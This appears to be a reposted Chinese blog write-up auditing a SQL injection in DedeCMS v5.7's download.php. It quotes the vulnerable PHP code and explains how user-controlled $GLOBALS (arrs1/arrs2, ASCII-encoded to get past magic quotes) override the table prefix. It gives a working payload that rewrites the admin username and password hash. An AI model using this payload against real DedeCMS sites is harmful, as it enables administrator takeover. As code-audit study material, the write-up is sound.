热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

PHP7sql注入,dedecms_5.7download.phpSQL注入

最近在看Web渗透与漏洞挖掘,这本书的编写目的感觉非常的不错,把渗透和代码审计结合在一起,但是代码审计部分感觉思路个人认为并不是很清晰&#

最近在看Web渗透与漏洞挖掘,这本书的编写目的感觉非常的不错,把渗透和代码审计结合在一起,但是代码审计部分感觉思路个人认为并不是很清晰,在学习dedecms v5.7 SQL注入的时候就只看懂了漏洞,思路依然感觉迷茫,在这里我重新梳理一下这个漏洞的挖掘思路。

这个漏洞主要包括两方面,一是SQL注入本身,二是全局变量$GLOBALS可以被用户操控。拿到cms我们还是先浏览大致的结构,然后我们重点关注/include/dedesql.class.php文件,根据命名规则我们可以依据经验判断这是该cms的数据库连接配置文件。这个文件中有两个SQL执行语句,分别是ExecNoneQuery()和ExecNoneQuery2(),在ExecNoneQuery()中,该函数调用checksql()函数进行sql语句检查,我们继续阅读ExecNoneQuery2的代码:

1 //执行一个返回影响记录条数的SQL语句,如update,delete,insert等

2 function ExecuteNoneQuery2($sql='')3 {4 global $dsql;5 if(!$dsql->isInit)6 {7 $this->Init($this->pconnect);8 }9 if($dsql->isClose)10 {11 $this->Open(FALSE);12 $dsql->isClose = FALSE;13 }14

15 if(!empty($sql))16 {17 $this->SetQuery($sql);18 }19 if(is_array($this->parameters))20 {21 foreach($this->parameters as $key=>$value)22 {23 $this->queryString = str_replace("@".$key,"'$value'",$this->queryString);24 }25 }26 $t1 =ExecTime();27 mysql_query($this->queryString,$this->linkID);28

29 //查询性能测试

30 if($this->recordLog) {31 $queryTime = ExecTime() - $t1;32 $this->RecordLog($queryTime);33 //echo $this->queryString."--{$queryTime}


\r\n";

34 }35

36 return mysql_affected_rows($this->linkID);37 }

很明显我们可以看出,这里并没有进行SQL语句安全性检查,所以我们要仔细检查该函数操控的文件或数据,我们全局搜索ExecuteNoneQuery2,发现/plus/download.php是由这个函数操控的,我们跟读这个文件,这个文件的主要功能是提供软件给用户下载,阅读以下代码:

1 else if($open==1)2 {3 //更新下载次数

4 $id &#61; isset($id) && is_numeric($id) ? $id : 0;5 $link &#61; base64_decode(urldecode($link));6 if ( !$link)7 {8 ShowMsg(&#39;无效地址&#39;,&#39;Javascript:;&#39;);9 exit;10 }11 $hash &#61; md5($link);12 $rs &#61; $dsql->ExecuteNoneQuery2("UPDATE &#96;#&#64;__downloads&#96; SET downloads &#61; downloads &#43; 1 WHERE hash&#61;&#39;$hash&#39; ");13 if($rs <&#61; 0)14 {15 $query &#61; " INSERT INTO &#96;#&#64;__downloads&#96;(&#96;hash&#96;,&#96;id&#96;,&#96;downloads&#96;) VALUES(&#39;$hash&#39;,&#39;$id&#39;,1); ";16 $dsql->ExecNoneQuery($query);17 }18

19 $row &#61; $dsql->GetOne("SELECT * FROM &#96;#&#64;__softconfig&#96; ");20 $sites &#61; explode("\n", $row[&#39;sites&#39;]);21 $allowed &#61; array();22 foreach($sites as $site)23 {24 $site &#61; explode(&#39;|&#39;, $site);25 $domain &#61; parse_url(trim($site[0]));26 $allowed[] &#61; $domain[&#39;host&#39;];27 }28

29 if ( !in_array($linkinfo[&#39;host&#39;], $allowed) )30 {31 ShowMsg(&#39;非下载地址&#xff0c;禁止访问&#39;,&#39;Javascript:;&#39;);32 exit;33 }34

35 header("location:$link");36 exit();37 }

这段代码的功能很好读&#xff0c;我们主要考虑两个细节&#xff0c;一是虽然没进行安全性检查&#xff0c;但是应该怎么绕过PGC&#xff1b;二是如何让这条SQL语句能为我所用。如果之前通读了/include/dedesql.class.php的代码&#xff0c;我们心中应该就有了答案&#xff0c;这个文件中有一个特殊操作&#xff1a;

1 //设置SQL语句&#xff0c;会自动把SQL语句里的#&#64;__替换为$this->dbPrefix(在配置文件中为$cfg_dbprefix)

2 function SetQuery($sql)3 {4 $prefix&#61;"#&#64;__";5 $sql &#61; str_replace($prefix,$GLOBALS[&#39;cfg_dbprefix&#39;],$sql);6 $this->queryString &#61; $sql;7 }8

9

10 if(isset($GLOBALS[&#39;arrs1&#39;]))11 {12 $v1 &#61; $v2 &#61; &#39;&#39;;13 for($i&#61;0;isset($arrs1[$i]);$i&#43;&#43;)14 {15 $v1 .&#61; chr($arrs1[$i]);16 }17 for($i&#61;0;isset($arrs2[$i]);$i&#43;&#43;)18 {19 $v2 .&#61; chr($arrs2[$i]);20 }21 $GLOBALS[$v1] .&#61; $v2;22 }

在这里以上两个问题已经全部解决&#xff0c;在提交SQL语句的时候程序使用了ASCII进行编码&#xff0c;直接绕过了GPC&#xff0c;arr1和arr2可以被用户操控任意修改。在代码的第五行&#xff0c;程序使用str_replace函数把SQL语句中的#&#64;_替换为了$GLOBALS[&#39;cfg_dbprefix&#39;]&#xff0c;全局搜索$cfg_dbprefix发现在/include/commen.inc.php中&#xff1a;

$cfg_dbprefix &#61; &#39;dede_&#39;;

在代码的第21行&#xff0c;这里采用.&#61;的方式拼接了$v1和$v2&#xff0c;.&#61;的用法和&#43;&#61;一致&#xff0c;$a.&#61;$b也就是$a&#61;$a.$b&#xff0c;所以我们控制$v1为cfg_dbprefix&#xff0c;将$v2构造SQL语句&#xff1a;

admin&#96; SET &#96;userid&#96;&#61;&#39;test&#39;, &#96;pwd&#96;&#61;&#39;565491d704013245&#39; where id&#61;1 #

完整的SQL语句为&#xff1a;

UPDATE &#96;dede_admin&#96; SET &#96;userid&#96;&#61;&#39;test&#39;, &#96;pwd&#96;&#61;&#39;565491d704013245&#39; where id&#61;1 #_downloads&#96; SET downloads &#61; downloads &#43; 1 WHERE hash&#61;&#39;$hash&#39;

执行后用户名为test&#xff0c;密码为123456。

这个漏洞的复现提醒了我&#xff0c;做代码审计通读核心文件的代码还是非常重要的&#xff0c;之前单纯的定位&#43;跟读方法无法应对复杂的攻击&#xff0c;后面我会尽可能的多通读一下代码吧。



推荐阅读
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • Java String与StringBuffer的区别及其应用场景
    本文主要介绍了Java中String和StringBuffer的区别,String是不可变的,而StringBuffer是可变的。StringBuffer在进行字符串处理时不生成新的对象,内存使用上要优于String类。因此,在需要频繁对字符串进行修改的情况下,使用StringBuffer更加适合。同时,文章还介绍了String和StringBuffer的应用场景。 ... [详细]
  • 本文介绍了如何使用python从列表中删除所有的零,并将结果以列表形式输出,同时提供了示例格式。 ... [详细]
  • 数字账号安全与数据资产问题的研究及解决方案
    本文研究了数字账号安全与数据资产问题,并提出了解决方案。近期,大量QQ账号被盗事件引起了广泛关注。欺诈者对数字账号的价值认识超过了账号主人,因此他们不断攻击和盗用账号。然而,平台和账号主人对账号安全问题的态度不正确,只有用户自身意识到问题的严重性并采取行动,才能推动平台优先解决这些问题。本文旨在提醒用户关注账号安全,并呼吁平台承担起更多的责任。令牌云团队对此进行了长期深入的研究,并提出了相应的解决方案。 ... [详细]
  • 本文介绍了iOS数据库Sqlite的SQL语句分类和常见约束关键字。SQL语句分为DDL、DML和DQL三种类型,其中DDL语句用于定义、删除和修改数据表,关键字包括create、drop和alter。常见约束关键字包括if not exists、if exists、primary key、autoincrement、not null和default。此外,还介绍了常见的数据库数据类型,包括integer、text和real。 ... [详细]
  • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • 本文详细介绍了Java中vector的使用方法和相关知识,包括vector类的功能、构造方法和使用注意事项。通过使用vector类,可以方便地实现动态数组的功能,并且可以随意插入不同类型的对象,进行查找、插入和删除操作。这篇文章对于需要频繁进行查找、插入和删除操作的情况下,使用vector类是一个很好的选择。 ... [详细]
  • 本文讨论了在数据库打开和关闭状态下,重新命名或移动数据文件和日志文件的情况。针对性能和维护原因,需要将数据库文件移动到不同的磁盘上或重新分配到新的磁盘上的情况,以及在操作系统级别移动或重命名数据文件但未在数据库层进行重命名导致报错的情况。通过三个方面进行讨论。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • web.py开发web 第八章 Formalchemy 服务端验证方法
    本文介绍了在web.py开发中使用Formalchemy进行服务端表单数据验证的方法。以User表单为例,详细说明了对各字段的验证要求,包括必填、长度限制、唯一性等。同时介绍了如何自定义验证方法来实现验证唯一性和两个密码是否相等的功能。该文提供了相关代码示例。 ... [详细]
  • Python SQLAlchemy库的使用方法详解
    本文详细介绍了Python中使用SQLAlchemy库的方法。首先对SQLAlchemy进行了简介,包括其定义、适用的数据库类型等。然后讨论了SQLAlchemy提供的两种主要使用模式,即SQL表达式语言和ORM。针对不同的需求,给出了选择哪种模式的建议。最后,介绍了连接数据库的方法,包括创建SQLAlchemy引擎和执行SQL语句的接口。 ... [详细]
  • Day2列表、字典、集合操作详解
    本文详细介绍了列表、字典、集合的操作方法,包括定义列表、访问列表元素、字符串操作、字典操作、集合操作、文件操作、字符编码与转码等内容。内容详实,适合初学者参考。 ... [详细]
  • 在Oracle11g以前版本中的的DataGuard物理备用数据库,可以以只读的方式打开数据库,但此时MediaRecovery利用日志进行数据同步的过 ... [详细]
  • MySQL插入数据的四种方式及安全性分析
    本文介绍了MySQL插入数据的四种方式:插入完整的行、插入行的一部分、插入多行和插入查询结果,并对其安全性进行了分析。在插入行时,应注意字段的定义和赋值,以提高安全性。同时指出了使用insert语句的不安全性,应尽量避免使用。建议在表中定义相关字段,并根据定义的字段赋予相应的值,以增加插入操作的安全性。 ... [详细]
author-avatar
小石子Sandra
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有